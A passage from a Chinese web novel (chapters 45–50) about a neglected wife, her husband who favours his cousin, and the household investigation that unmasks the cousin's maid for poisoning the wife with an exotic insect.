李眀柔说着,又伸手往谢玉恒的袖口上拉了拉,声音细柔,带着她惯常撒娇的声音。
袖子上传来力道,谢玉恒却几乎是在同一瞬间就看向季含漪的脸庞。
他也不知道自己想看到的什么,但哪怕季含漪脸上有一丝与从前一样欲言又止又难过的神色,他也会立马推开李眀柔的手。
但季含漪脸上什么神情都没有,她垂着眼帘,眼里甚至一点波动都没有,无动于衷的仿佛与她无关
心里头不知道为什么会冒出异样的想法来,心凉的那一刻,他鬼使神差的朝着李眀柔道:“今日庙会里有猴戏,你想去看么。”
李眀柔听谢玉恒这话,刚才不安心的一下子就雀跃起来。
她就知晓的,在谢哥哥的心里,自己才永远都是最重要的。
她脸上立马浮现出期待的神情,却又很快低落下来:“那表嫂怎么办?”
谢玉恒看向季含漪,想开口让她一起的话还没有说出来,季含漪就已经抬头开口道:“你们不用管我,在街边放我下来,我重新叫马车便是。”
季含漪是平静的开口,可谢玉恒的脸上却忽然一变。
他忽紧紧看着季含漪,声音几乎是从齿缝里出来的:“你又在怪我。”
“上回明柔是事急才放你在路边,不是我故意那般做的。”
季含漪怔了下,倒是没想到谢玉恒还记得这样一件旧事。
那是她嫁入谢家的第一年冬日,那天亦是从宴会出来,李眀柔忽发恶寒,谢玉恒急着带李眀柔去医馆,将她独自放在了路边。
那天,回谢府的路并不远,她坐在雇来的马车上,却觉得那一路是最漫长的一路。
漫长到她觉得她那一生都了无意义。
她以为这样的事情谢玉恒该是早就忘了的,他对李眀柔的照顾偏袒是深入骨髓的,是一件下意识就会去做的本能反应,但他居然还记得这件事,或许他心里对她是有那么一丝愧疚的。
但此刻他提出来,明显不是愧疚,他如同从前一样指责她不大度。
即便吃了药,那毒性解了一些,但身上还是有一些微微发疼,她没想浪费精力与谢玉恒争执这些了无意义的事情,只道:“你不必记得那件事,我也早忘了。”
说着他看着谢玉恒:“你与明柔去看猴戏是要紧的事情,我在路边重新雇马车也并不难,我并没有怪你。”
谢玉恒笔直的背脊在这一瞬间忽然垮下来,他紧紧看着季含漪,看着她脸上的每一个表情,忽然间苦笑一声。
他道:“我先送你回去后,再与明柔一起出去。”
季含漪有些诧异的看了谢玉恒一眼,对于谢玉恒这样的决定,她的确是诧异的。
在谢玉恒心里,万事都比不得李眀柔重要的。
其实她的确是想要在路边下马车,她还有些事情要办。
但既然谢玉恒又这么说,她已懒得与他再争执,只是轻轻点头,无论他做什么样的决定,都不要紧。
马车内一时寂静下来,只能听见车轮滚动的声音。
李眀柔看了眼季含漪,又有些愧疚的看向谢玉恒:“表嫂是不是生气了?”
“要不谢哥哥还是下回带我去吧,我看不看也不要紧的。”
谢玉恒眼神的余光一直在往季含漪那边看过去,见着季含漪撑着下巴抵在窗上,眼神看向时不时被风吹起的帘子,身子微微向着马车壁靠着,并没有将眼神往这边看过来一眼。
两人即便是坐在一处的,从前那个总会往他身边靠近过来的人,如今陌生的让谢玉恒都觉得季含漪换了一个人。
他甚至开始
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恍惚,明明从前并不喜欢季含漪开过依赖他,如今她好似如他所愿,心里又空落落的。
他从季含漪的脸上回过眼神,又看向李眀柔,那样含情脉脉的一双眼,一双眼里全都是他。
他本是打算对李眀柔说改日再去的,但看李眀柔柔弱的脸庞,他心里还是升起了股不忍。
明柔年少孤苦,自小将他当作最亲近的人,刚才是他先说出口的话,这会儿再拒绝,无疑也伤害了她。
无论他与季含漪如今有什么,都不应该将李眀柔牵扯进来。
=
马车到了谢府,谢玉恒先下马车要扶着季含漪下马车的时候,季含漪往后退了一步,让李眀柔先下。
李眀柔看着季含漪这般作态,淡淡冷笑了声。
看来如今季含漪是要将欲擒故纵的把戏玩到底了。
只是她到底也看清了季含漪,她没想到,季含漪在谢哥哥的心里,真的有那么一点一席之地。
今日当真是可惜了,不然她还真想要看看季含漪被所有人厌弃的结果。
她先走了出去,看着谢哥哥伸过来的修长的手,自然自然的落在了上面。
季含漪是从另外一头,踩着脚凳下了马车的。
她的确也是刻意这么做,也仅仅是因为不想再碰谢玉恒一点。
谢玉恒本要再扶着季含漪下来的动作,在看到季含漪从另外一头下来的时候,顿在了半空。
他站在原地,看着季含漪从对面过来。
只听季含漪过来低声开口,声音里全是客气的疏离:“这会儿天色还早,大爷与明柔早些去吧。”
“我先进去了。”
说完这话,季含漪觉得自己表面那套已经是做足了的,转身要走的时候,却被谢玉恒紧紧抓住了手腕。
季含漪微微蹙眉,回头对上谢玉恒紧紧看来的眼眸。
握住季含漪的手,几乎是谢玉恒下意识的动作。
他只是想要看季含漪脸上的表情是不是真的如她缩表现出来的这般云淡风轻,这般毫不在意。
明明从前亦是她总说明柔尚未婚配,两人单独走在一起不好。
明明也是她曾说,她才是他的妻,他最应该陪伴在身边的人是她。
这些话其实谢玉恒也有些模模糊糊想不起来了,好似是在他们成亲的第一年,季含漪与他说的。
那时候两人之间是有过感情的,但是后来季含漪越来越针对明柔,叫他心里是对季含漪心生了一丝厌烦的。
但是现在,这样深明大义的季含漪,却叫他心里生出一股钝痛来。
耳边传来季含漪疑惑的声音:“大爷,怎么了?”
谢玉恒从思绪里抽离出来,他看着季含漪如往日柔美的眉眼,他想,他们两人不该是这样的。
他们两人才是夫妻。
谢玉恒看向季含漪,声音稍有些艰难:“你要我留下陪你么?”
第46章 至始至终都是你在觉得
谢玉恒的话叫季含漪皱眉。
她微微一顿,随即她摇头:“猴戏不知什么时候再有,明柔还在等着你,大爷不必陪我,快些去吧。”
谢玉恒不由就想到那天雪夜,她也是说,明柔还在等他,让他不必管她。
她说的理所当然又大度,仿佛他身为她夫君,抛下她去与另外一个女子在一起,与她来说早已成为一件稀松平常的事情。
心里那股无力的钝痛越来越占据了心里,甚至心生出了恐慌。
他抬头深深看着季含漪,哑声道:“含漪,只要你想要我留下来陪你,我就留下来。”
“我已经许久没有陪你了。”
季含漪一顿,随即摇头:“大爷,我并不需要。”
说着季含漪推开谢玉恒握在自己手腕上的手,她朝着谢玉恒福了一礼,又接着道:“这会儿雪还没停,大爷快些去吧,明柔身子不好,别让明柔跟着站在外头生了寒。”
季含漪说完,也不再理会谢玉恒脸上到底是什么表情,直接转身往朱门内走去。
她当然看得懂谢玉恒刚才脸上希望她让她留下的神情,但那个神情叫她生厌。
或许,他早已习惯她追逐着他的脚步,任由他毫不在意的凌迟,如今自己也毫不在意的时候,他又觉得不习惯了。
她并不认为谢玉恒是忽然大梦初醒,发现对她的亏欠或是对她的愧疚才会有这些反常的举动,她更认为这是谢玉恒对于无法掌控她的心慌。
他只是享受习惯了她的委屈,她的顺从。
当她并没有按照他心里预想的那般做的时候,他会觉得他把控不了自己。
不过是贪婪罢了。
什么都想要。
谢玉恒怔怔看着季含漪的背影。
李眀柔看了眼季含漪,走到谢玉恒的身边小声道:“表嫂平日里总是这般与谢哥哥闹脾气,明柔替谢哥哥委屈。”
她说着眼中一汪泪光溢出来,眼眶微红,楚楚可怜。
谢玉恒侧头看向李眀柔的脸庞,正见着她眼角一行泪从眼眶里出来,心里头却是五味杂陈的情绪。
其实他心里明白,季含漪除了这几日,从前从未这般过。
从前他不管说什么,她便应下,她甚至不会说她受了什么委屈。
两人夫妻三年,其实从未两人一起单独出去过。
他陪了明柔无数次,一次也没有陪过她。
他想要补偿她的。
今日他也本想的是先送明柔回来,再与她一起去庙会。
那道背影一直进了朱红门,没有回头,直到朱门缓缓合上。
谢玉恒犹如浑身被抽干了力气,又失神看着身边李眀柔那双莹莹看来的眸子,半晌之后,嗓音里才艰涩道:“走吧。”
季含漪一路回了院子,这才将袖口里的手帕拿出来展开在桌面上。
白色的绣帕上,一只赤红色半个小拇指大小的虫子,早已经死透了。
站在旁边的容春看见,忍不住道:“就是这个虫子害少夫人成了这样的?”
说完她看向季含漪:“少夫人打算怎么办?”
季含漪刚才在沈肆那里的时候,心里其实就已经有了主意。
从前李眀柔用些挑拨离间的手段,没有人信任她,她没法子只能隐忍下来。
但这回李眀柔是要毁了她的声誉,她不能再隐忍了。
她低声道:“你放心,这回的事情,再不能如从前那样算了的。”
李明柔也不能事事如意。
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晚上谢玉恒回来的时候,季含漪早早就睡下了。
谢玉恒站在季含漪书房门口,看着里头早已经灭了的灯火,心里万千思绪。
他没有回来的很晚,现在不过才戌时而已。
往前季含漪从未这么早睡过,但即便她睡了,知晓他回,也会起身为他更衣。
今日他在外头带着李眀柔一起,路上碰见了同僚,李眀柔带着帷帽,他们并不能辨认他身边的女子是谁,下意识的将李眀柔当成了他的妻子。
当他们感叹他夫妻感情极好的时候,他却在那瞬间心头觉得一股空落落的情绪。
身为他妻子的季含漪,从未与他单独上街过。
从前一直未觉得愧疚,如今心里竟然全都是愧疚。
他低头看着手上的蜜枣糕,想起季含漪说过她喜欢。
手上的蜜枣糕此刻早已微凉,谢玉恒抬手想要推开面前那扇门的动作,还是又止在半空。
其实他更希望季含漪有她不满的地方,可以与他吵闹发泄,那样至少他还能感觉到她心里到底在想什么,她希望他怎么做。
还能感觉到她心里还是在意他的。
但季含漪怎么能不在意他呢。
也许只是她太在意自己了,所以才想用这样的方式让自己注意到她。
谢玉恒叹息,对季含漪这种举动无奈的叹息。
他本只要求她不再去针对明柔,她却事事要与明柔争抢,如今又这般任性。
谢玉恒深吸一口气,终于还是用力的推开了房门。
屋内光线昏暗,带着一股文墨香与果香,他未怎么仔细看,视线落在那张简陋的竹榻上。
屋内只有季含漪一人睡着,天冷季含漪也没让容春留下守夜,她特意早睡,也是有意避开谢玉恒。
如今房门被人从外头用力推开,温暖的室内进了冷气,季含漪穿着单衣从竹榻上撑起身,借着竹榻边留下的那一盏灯,看向正从门外进来的谢玉恒。
谢玉恒身上带来的冷气逼人,他的眼睛静静看着床榻上半起身的人,看着季含漪月白色的中衣上那一张芙蓉面,长发落到肩头,那脸上的神色再也不会因他到来露出欣喜的神情。
若这就是她想要的,若这就是她故意这般使的手段,他便妥协了。
他进来一下就坐在了竹榻边,将手上的微凉了的蜜枣糕放到季含漪的手上,似乎是终于施舍的先开口:“与我回主屋去睡。”
谢玉恒进来时,未关上房门,本温暖的室内被不停灌入的冷风渐渐吹凉,季含漪穿着单衣受不住,对谢玉恒却早已连失望都觉得费力。
她低头看着手上那凉了的蜜枣糕,她不用细问,这定然是李眀柔想吃,他为她买来的,或许这一份也不过是李眀柔未吃完剩下的。
她从不会恶意揣测他,但这样的事情并不是第一次。
况且她并不喜欢吃蜜枣糕,喜欢吃蜜枣糕的人是李眀柔。
成婚的第一年,有一回在寺庙祈福后,他为李眀柔买来蜜枣糕,或许是觉得她亦在旁边,他问了她句喜欢吃吗,她便说一句喜欢,他就每每给李眀柔买后,吃剩下的就让下人带回来给她。
他连再买一份的心思都没有。
当然,这件事从前季含漪并不知晓,但李眀柔会告诉她,幸灾乐祸的,趾高气扬的。
她没将这件事情在谢玉恒面前捅破,即便捅破了,谢玉恒也只会觉得是自己小题大做。
她只是扔了,再当作一切没有发生过。
此刻,再看见手上的蜜枣糕,季含漪将手上的东西
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放在枕边,又看着谢玉恒开口:“大爷,我并不喜欢吃这个了。”
“喜欢吃蜜枣糕的,至始至终只有李眀柔。”
“我也已睡下,大爷早些回去吧。”
谢玉恒满目不解的看着季含漪:“你不过就是想要我在意你,不过就是觉得我陪明柔的时候比你多。”
“往后我尽量回主屋多陪你就是。”
“你又使什么性子?”
说着他眼神看向季含漪薄衣下的玲珑曲线,那张堪比娇花似的脸庞,此刻在灯下柔媚又秀气,她身上的那股暖香,看得他心潮一涌。
即便很少与她同房,但季含漪的身子的确是让他意乱情迷的。
他声音里微微沙哑,眼里带着动情的暧昧:“我尽量给你个孩子,你有了孩子,就不会再乱想了。”
谢玉恒说着,指尖想要触碰季含漪的脸庞,只是还未触碰到,季含漪已经不动声色的偏开躲过,谢玉恒的指尖顿在半空,默默看着季含漪。
她从前从来不会躲的。
季含漪听过无数这样高高在上的语气,他的亲近对她来说也并不是恩赐。
季有些疲惫的低头撑着额头,季含漪开口:“大爷,这些事情往后再说。”
“我也并没有觉得你陪着明柔我很难过。”
说完,季含漪放下手,眼眸一抬看着谢玉恒,声音依旧是她平日里的细柔:“我没有难过,也没有怨怪。”
“其实至始至终都是你在觉得。”
“不过我说了这些,你大抵还是不会信。"
“但这里毕竟是我的书房,大爷的书房可以不许人进,为什么我的书房你就可以任意的进?”
“老太太说安安稳稳的过年,大爷能不能让我安稳些,不要再来打搅我。”
谢玉恒一下顿住,目光沉默的看着季含漪静静的眼眸,她眼里沉的没有光线,烛光落在她一侧脸颊上,平静的语调里,她居然说再不要来打搅她。
他觉得他一定是听错了。
这样的话从季含漪口中出来,谢玉恒觉得尤其的可笑。
他再没有任何耐心的站起来,修长的身形投下暗影,又皱眉失望的看着季含漪:“含漪,今日我亲自来叫你回主屋,你却还这般闹。”
“你要是在这么闹下去,惹怒了我母亲,我也不会为你求情的。”
季含漪只觉得好笑,她谢玉恒何曾为她求过情。
这三年她无子,在婆母那里多被指责,谢玉恒何时为她说过一句话。
哪怕他说一句是因为他公务繁忙所以在留在书房,与她无关,她在婆母那里,她在谢家,都要好过一些。
但谢玉恒没有,他甚至在她受到婆母指责的时候,连一个多余的眼神都懒得施舍给她。
季含漪深吸一口气,又点头:“好。”
淡淡一个生疏客气的好字,早含尽了疲惫,她只但愿谢玉恒能听明白她逐客的意思。
谢玉恒低头冷眼看向季含漪,看着她这番惺惺作态,手掌捏紧,再冷笑一声点点头,直接转身离去。
季含漪看着谢玉恒离开的背影,木门被他用力的合上,早已透露谢玉恒的心境。
屋内重新生了一丝暖意,尽管还输冷。
她重新躺会榻上,睁眼看着屋梁,看了许久,又将枕下沈肆送来的信再细细看了一遍。
她没想沈肆居然查的这么快,与她想的也一模一样。
信上的字迹笔走龙蛇,她认得沈肆的字迹,指尖在信纸上停留片刻,还是放在烛灯下烧成灰烬。
第47章 拆穿
另一头沈府里,沈肆坐在案桌后。
颀长高大的身形姿态慵懒的靠在椅子上,沉眉看着手下送来的信件。
等他看完后,站在身边的手下才又低低开口:“小的打听到来的消息是谢玉恒的确是不怎么喜欢他的嫡妻的,谢府的下人也都知晓这件事。”
“那李明柔在谢府呆了快十年,说是本与李明柔青梅竹马,当年谢家大少夫人不拿着婚书去的话,应该是成了他们的婚事,所以谢府的人都觉得谢玉恒喜欢的是李明柔。”
说着他又从怀里掏出个白玉药瓶双手呈到沈肆的面前:“不过那李明柔看起来不似从谢府打听来的消息那般温柔和善,这是今日调查**虫的时候,还发现那李明柔这三年一直在买这一种药,也是在那西域商人那儿买的。”
“小的仔细打听了这种药,这药不仅会让男子暂时绝嗣,还能让男子对房事的兴致也消减下去,这种药几乎无人问津,李明柔却隔几个月就要买一回。”
沈肆饶有兴致的将药瓶放在眼前端详,打开药塞,里头是白色的药粉,他微仰头淡淡的问:“长服对身子有什么损害?”
站在旁边的手下很快回话:“倒是对身子没什么损害,只要停服这药半年,也能有子嗣,只是听说吃久了,对男人那方面就有些不行了……”
“听说谢玉恒的嫡妻三年没有子嗣……”
他话说到一半,又见着侯爷凉凉看来的眼神,一下也不敢说下去了,立马住了嘴。
沈肆看着手上的药瓶眼波一顿,指尖轻叩在桌面上。
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第二日一早的时候,季含漪没去问安,天亮匆匆往大夫人那儿去的是容春。
本来林氏正皱眉与身边婆子说季含漪如今越发没有规矩,连问安都开始懈怠,才刚说完,就见容春从外头匆匆进来,一来就哭着跪在了地上。
大夫人一见着容春,眉头就一皱,训斥道:“一大早上的,哭哭啼啼做什么?”
容春哭着抹泪:"回大夫人的话,我家少夫人出事了。"
林氏听了这话,眼神里不由带了些不耐烦起来,问道:“又出什么事了。”
容春便着急道:"昨儿少夫人往沈府去,还去见了沈老夫人,可见沈老夫人的时候,少夫人就忽然浑身发热,沈老夫人就忙为少夫人请了府里的郎中来看,那郎中就说我家少夫人是中了**虫的毒。"
“因为当时那郎中就为我家少夫人解了毒,少夫人原本也觉得好了,又想着多一事不如少一事,回来便没有提起来。”
“哪成想那毒根本没解开,今早少夫人疼得下不来榻,吃了昨天在沈府郎中开的方子稍好点,可奴婢担心少夫人,那郎中说那**虫只有西域才有,明显是有人故意害我家少夫人的。”
“今早沈府派了人来,说找到了卖**虫的西域掌柜,那掌柜的说,去买那药的是一个年轻丫头,现在已经押过来指认了,人就在前院等着,还请大夫人为我家少夫人做主。”
容春的话一落下,坐在林氏身边的李眀柔脸色就微微变了变。
这种**虫的毒寻常郎中怎么可能看出来,知晓这种毒虫的人都少之又少。
再有,**虫的毒并不难解,只要泡了水就能解开,更没有什么身上疼的起不来的说法,都过了这么久了,季含漪怎么可能还疼。
她自认做的干干净净,心里起了疑,当即便看向跪在下面的容春:“你这丫头怎么胡说?”
“还来谢府指认,莫不是觉得谢府有人要害表嫂?”
“万一是谢府外的人呢。”
说完她看向林氏:“姨母依我看,还是先去看看表嫂到底是怎么回事,万一中间有什么误会呢。”
李眀柔现在肯定了季含漪是装的,**虫的毒性根本不可能维持这么久,她已经迫不及待要去揭穿她。
容春含泪抬头看着李眀柔:“表姑娘误会,不是非说是谢府的人,只是这事重大,总要查查,不找出是谁对少夫人下的毒,往后再害少夫人怎么办?”
容春的声音一落下,这时候外头就传来一道威严的声音:“那丫头说的没错。”
声音一落下,是久不露面的谢老太太。
林氏一见着谢老太太进来,赶紧起身过去扶着谢老太太去坐。
容春见着谢老太太终于来说公道话了,心里顿时一松。
难怪少夫人让她先去找谢老太太,再来找大夫人。
大夫人一向对少夫人的事情不怎么理会,也偏心李明柔,要是大夫人听了李眀柔的三言两语,又要费许多口舌。
刚才大夫人脸上那神情,明显就是不愿多管的样子。
她也当真是跟着心寒。
谢老太太一脸严肃,一坐在主位上就冷冷看着林氏:“含漪在沈家出事,还让人家沈家的人帮忙找真凶,怎么,谢家的儿媳谢家就不管了?”
“事情要传出去,不怕人笑话你这做婆母的不慈?”
谢老太太虽久不管事,万事都放手让林氏去做,放手让林氏管这一大家子人,是谢老太太知晓儿孙自有儿孙福,她管太多,反而让府里不和睦,便索性放
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手,她也清静。
但她放手不代表她什么都不管,不代表府里有腌臜事都要瞒着。
林氏见老太太发了怒,赶紧站在一边焦急的解释:“老太太冤枉,毕竟是我儿媳,我怎么能不管?”
“只是刚才明柔说的也有几分道理,谢府上下的人有谁会害含漪?会不会是在再外头与谁结了怨?这事总要先见了她问清楚不是?”
谢老太太冷眼看了一眼林氏,对这个儿媳心底是失望至极的。
林氏管家的本事的确是有,但是出身寻常,身上的那股气度到底是差了些。
小家子气又心胸狭窄,眼界更不大,这么大的事情,她居然还这么不痛不痒。
人家沈府派人送来线索,沈府是什么门第,那是前有宰辅,后有皇后,再有一门都居要职,做什么要管这事?
即便含漪是在沈府出的事,沈府就算不管,也没人敢说的。
现在沈府还帮忙查这事,更送来了关键的人,显然是喜欢含漪的。
沈老夫人找季含漪说话,她知晓季含漪父亲曾是老首辅最喜欢的学生,看来还是留有些情谊,如今林氏却这个态度,只能说是蠢。
自家儿媳与沈府有一些旧情,将来万一有事还能有条后路,现在京城哪家不拐着弯的想攀上沈府的关系,林氏却丝毫想不到这些。
还有沈府的人都来了,还能不见?
再有,要真是谢府有人做的,那便是养了小人,这样的人越早抓住越好,免得将来还要出事。
谢老太太此刻已经懒得与林氏废话,直接吩咐:“快去将沈府的人请去前堂。”
说罢又吩咐:“让府里的所有下人都去前头站着,都要去。”
又看向身边的林氏:“你跟我去前堂,姑娘们就先在后院呆着。”
李眀柔听了这话,就对着身边的贴身侍女双喜使了个眼色,双喜明白过来,赶紧偷偷从侧边走。
容春的眼神早就注意在了双喜的身上了,今日的重头戏就是她,自然不可能让她走,直接从地上一起来就堵在她面前,大声道:“下人都要往前院去,你现在要去哪儿?”
从前这主仆两人没少自导自演的诬陷她家主子,之前大爷总信他们,主子没法子,这回容春是不能放了她们的,她心里都有口气没出。
双喜本就是偷偷摸摸的,被容春忽然的这一声大喊吓了一跳,随即又镇定道:“主子手冷,我去给主子换一个手炉来,你乱叫喊做什么?”
容春冷笑一声:"我还以为你心虚怕被那西域掌柜的指认呢。"
第48章 招认
容春的话一落下,屋内的人都往双喜身上看过去。
双喜被这么多人一看,本就是偷偷摸摸打算走的,心里本来也有鬼,又被容春这么一说,这会儿脸色大变,
她满脸怒色的指着容春:“你别信口开河的胡说。”
李眀柔也皱眉看向容春,眯着眼有些威胁的意思:“你担心你主子,大家也担心,但可别信口雌黄。”
“你说我的丫头有问题,就是说我有问题了?”
“当心我治你污蔑主子的罪。”
说着李眀柔眼眶里又迅速的就红了,靠在林氏的肩膀上哽咽:“我不过就是让丫头去给我换一个手炉,竟然要被表嫂屋里的下人这样揣测,我如何自处?”
容春见着李眀柔这做派,看她又用出从前那套,也气自己怎么就沉不住气。
林氏冷冷看着容春:“你这丫头怎么如此没规矩,主子是怎么教导的?”
容春这会儿就算是有天大的气也先受着,要紧的是将双喜给拖住。
今早主子说,查到了去铺子里买那**虫的就是双喜,让她务必看着双喜去前院去。
容春依旧紧紧拽着双喜的袖子,面上也委屈的哭道:“奴婢不敢说屋里的主子有什么问题,奴婢只想知道谁害了主子。”
“现在我家少夫人生死未卜,要是少夫人出了事,奴婢也不想活了,要得罪了主子,奴婢死就死,只要能就我家少夫人就好。”
这话说的堂上一静。
谢老太太看了眼双喜脸上有些惊慌的表情,又开口:“下人都要往前堂去,你也过去。”
谢老太太都这么发话了,双喜也不敢忤逆,忙将眼神看向李眀柔。
李眀柔脸色也已微微僵了僵,示意双喜这会儿去就是。
即便真的是沈家的人找到那家掌柜的又怎么样,她所有东西都处理干净了,这事只有自己,双喜和那西域掌柜知晓。
但她早给了银子打点,只要那掌柜的说不认识,那就谁都没法子。
只是现在让她恼恨的是,季含漪不仅没有当众出丑身败名裂,现在还搞了这样一出,现在这个局面,让她有些恼恨。
谢老太太这时候让林氏跟她一起往前堂走。
容春赶紧紧紧跟上。
没一会儿到了前堂,谢老太太就见着前堂内站着位气度不凡的男子,那男子见着谢老太太,也十分有礼的过来作揖问候,说明了来意。
这男子便是沈府的一位管事,姓张。
张管事说完又退开一步,将被押着的西域掌柜押上了前,又说清了事情缘由。
原来这掌柜是西域人,专卖西域皮**的,但是也卖些西域特有的蝎子酒和壮阳酒,并且他还养**虫。
因为**虫的腹部是壮阳的重要一味药材,所以生意极好。
京城里只此一家。
谢老太太听明白了,知晓**虫这种毒的人不多,还能故意去找这掌柜买这种毒虫的,已经是故意而为之了。
林氏在旁边听完,脸色却微微变了下。
李明柔小时候的乳母便是西域人。
当时李眀柔的母亲救了一个西域女子就留在身边,还和府里的马奴成了婚,成了贴身的婢女,还同一个时候怀了身孕。
因为那西域女子孩子一出生就**,便成了李眀柔的乳母。
如今听到西域两个字,她心里也不免揣测起来。
又想李眀柔自来谢府便懂事乖顺,又怎么可能做出这样的事情来,再又按下心思。
谢老太太脸上的神情也很客气,她出身高贵,又是将门出身,温和慈悲又不失严肃庄重,便道:“此事多亏了沈家帮忙,不然我孙媳就要遭大罪了。”
“还请回去替老身谢过了沈老夫人,改日定然亲自登门道谢。”
张管事笑道:“我家老夫人也是见不得那些内宅阴私事,若真能找出真凶,也算没辜负我家老夫人的关心。”
谢老太太点点头,问管事下人们都在了没,又叫人领着那西域掌柜去认人。
在前堂等了一会儿,林氏身上的神情有点紧张,不停问下人情况。
谢老太太沉眸不语,但脸上的神情却是愈加严肃。
她让身边的婆子先去探望季含漪,又让管家再叫郎中去,再沉默的等着结局。
苍老的手上不停滚着佛珠,她此刻心思如明镜,又是一声叹息。
没过一会儿,管家来了,支支吾吾的带来了结局。
那西域掌柜指认了双喜。
管家又道:“那沈府的管事还说,要是那丫头不肯招认,沈府可安排人送她去都察院好好审审。”
“还说了沈府后头会问大少夫人结果的,要没处置好,沈府就来帮忙。”
这话很清楚了,这已经不单单是一件内宅关起门来的事情了。
林氏心底一慌,一下子站起来,忍不住道:“怎么会是双喜?”
谢老太太看了她一眼,皱眉,又看向管家:“先送沈府的管事回去,务必客气敬重。”
“你亦告诉他,谢府丫头犯了错,定然是要严惩,绝不会姑息,还叫沈老夫人放心,一定处置妥当。”
管家明白老太太这意思,赶紧应下退出去。
谢老太太再让人将双喜拖了进来。
双喜一脸惨白的被按在地上,她想不明白,她明明按照姑娘的吩咐给了那西域掌柜五百两的封口钱,那掌柜为什么忽然要背叛指认自己。
可姑娘现在没在这儿,她这会儿六神无主,连忙对着林氏求饶,只不承认是自己。
林氏到了现在,也能明白了。
这毒不是寻常人能知道了,李眀柔那乳母张嬷嬷现在还跟着李眀柔,她想要为李眀柔开脱,都有些不好开脱。
但毕竟是她外甥女,虽说做了错事,但也只不过是一时鬼迷心窍。
再有自己其实在从前答应过李明柔让她嫁给玉恒的,可是没想到季含漪主动上门来,这亲事不成,她心里对李眀柔也有愧疚,下意识的就想要为双喜求情。
她朝着谢老太太小声道:“老太太,这事闹大了也不好,把这丫头发卖了就是,临着快过年了,多一事不如少一事,闹大了也不好的。”
谢老太
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太冷冷看向林氏,气得一摔杯子:“你就是这么当家的!”
“你要是当不好家,我让二房的来顶上!”
林氏脸色一白,老太太当着这么多下人的面呵斥她,她脸上下不来台,却不敢再说一句,僵硬的站在旁边。
她知晓,自家老爷最是孝顺,只要老太太发话,老爷也定然顺着老太太的意思。
又听谢老太太冷冷的开口:“这丫头敢谋害谢府的少夫人,还留她一命做什么?!赶紧给我打死。”
又冷眼看着林氏:"至于你带来的那个娘家亲戚,这回绝不饶她。"
"从前瞧她听话,身世是可怜,可这府里头近来被她给搅的不太平,我们谢府庙小,容不下她!"
谢老太太的话铿锵有力,将门出身的老太太,自带着一股气势,一瞬间,连林氏都不敢说话了。
她也知晓,自己在谢老太太面前根本没有说话的份,谢老太太出身高贵,这些年虽不管事,但谢家三个老爷都敬重老太太,即便是她现在掌家,那也没她说话的份。
容春在旁边瞧见了谢老太太的气势,从前温和慈悲的谢老太太,现在叫容春觉得是这谢府里最好的人了
难怪少夫人会说,谢府里唯一能给她主持公道的人就是谢老太太了。
不知道怎么的,这一刻她忽然有点想哭,过去一下子跪在谢老太太的面前,哭着磕头道谢。
谢老太太垂眸低低看着容春,目光里满是叹息。
她是府里的老太太,如何不知道季含漪与谢玉恒最大的问题就是李眀柔。
李眀柔那姑娘常来她跟前孝敬,她也对她和善,但她毕竟活了这么大岁数,看过了无数的人,那姑娘什么心思,什么性子,她也是看得明白的。
季含漪没有那姑娘的心眼多,有时候是要吃亏的。
这回她惩治李眀柔,一方面是为季含漪讨一个公道,另一方面,也是想把李眀柔远远的打发走。
她看得出来,玉恒的心里还是有季含漪的,不过是那李眀柔夹在中间。
她这做祖母的,只能做这么多了,也是真心希望两个孩子往后好好过。
府里头没有个脑子清醒的主母,也只能她来出手。
谢老太太对着容春道:“这件事我心里有数,你回去好好伺候主子养病,会有公道的。”
容春一听谢老太太这话,便满心安心,又哭着磕了一个头才转身出去。
容春一走,此刻堂上一静。
林氏期期艾艾的站在旁边,欲言又止,但看谢老太太的面容,又不敢开口。
双喜跪在地上,听刚才老太太说要打死她,已经被吓傻了。
这会儿堂上静悄悄的,全都是一脸厌恶看着她的人,不由伏地哭求道:“老太太,大夫人,求求叫奴婢见姑娘一面吧。”
“奴婢是冤枉的啊。”
“奴婢当真什么都没做过,定然是大少夫人与沈府勾结在一起陷害奴婢和奴婢主子的。”
林氏听了这话,不由看向谢老太太,小心翼翼道:“说不定这丫头说的也有道理……”
第50章 他一个回心转意,过去便烟消云散了么
这头李眀柔住的凝香馆内,李明柔还在院子里心慌的等着双喜回来传消息,谁知从前头去打探消息的婆子回来,一回来就带回来个晴天霹雳。
双喜**了。
李眀柔顿时眼里露出了惊恐来,一下扑在奶妈婆子的怀里,语无伦次的惊慌道:“妈妈,我该怎么办?”
“丫头**了,那西域人指认了我,他收了银子还指认,我该怎么办?”
“妈妈不是说没人知晓那种毒虫么?可郎中怎么能看出来呢。”
李眀柔说到最后,早已哭成了泪人,六神无主的一点主意没有了。
被李眀柔抱着的婆子身材高大,脸庞是西域人的相貌,便是李眀柔的奶妈,当初跟着李眀柔一起来谢家投靠。
张嬷嬷抱紧李眀柔,相比于李眀柔此时的慌乱哭泣,她显得要镇定许多。
她抬手给李眀柔擦了泪,又低声道:“姑娘先别哭,您还有姨母在,还有谢大爷在,您到时候您只咬口说是双喜擅做主张。”
“反正现在死无对证,或许还有一丝余地。”
李眀柔抬起泪眼看向张嬷嬷,哽咽道:“老太太会轻饶我么……”
张嬷嬷努力宽慰李眀柔道:“老太太一心向佛,心肠是软的。”
正说着,院外头一个丫头匆匆跑进来,说往后凝香馆的份例都没了,还让李明柔准备着明日素衣去祠堂跪着,明日一大早就有婆子来叫人。
李眀柔慌张的看向张嬷嬷。
张嬷嬷便低声道:“姑娘别怕,姑娘在祠堂只做的娇弱些,必要的时候晕倒,大夫人和大爷会心疼的。”
李眀柔本来还有些六神无主的眼神,瞬间就又像是找到了主心骨。
是了,谢哥哥一向是最偏袒她的。
她与季含漪之间,每每谢哥哥选的都是她,这回谢哥哥也一定会选她的。
她与谢哥哥自小长大,季含漪怎么比得过她呢。
即便她犯了错,谢哥哥也不会怪她的。
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这边趴在主屋床榻上的季含漪,一边吃着容春剥好的糖炒栗子,一边又看着雕花床柱失神。
其实这件事季含漪知晓是李明柔做的,也有法子揭露她,但她让沈肆帮她,让谢府知晓沈家插手进来,就是不想让这件事无疾而终,被林氏遮掩过去。
她知晓要是这件事没被外人知晓的话,为着家族声誉,还有谢玉恒和林氏的袒护,即便有老太太在,李明柔应该也不会收到太大的惩治。
或许谢老太太也会将这件事悄无声息的压下去。
坐在床边矮凳上的容春又将一粒剥好的栗子放进季含漪白嫩的手心,又道:“还是少夫人有主意,让奴婢先去找了老太太,不然今早奴婢瞧大夫人那模样,八成是想要包庇李明柔了。”
季含漪将糖栗子放进唇中,贝齿咬了几下,微微一侧头,后背如绸缎的长发便落到素衣肩头。
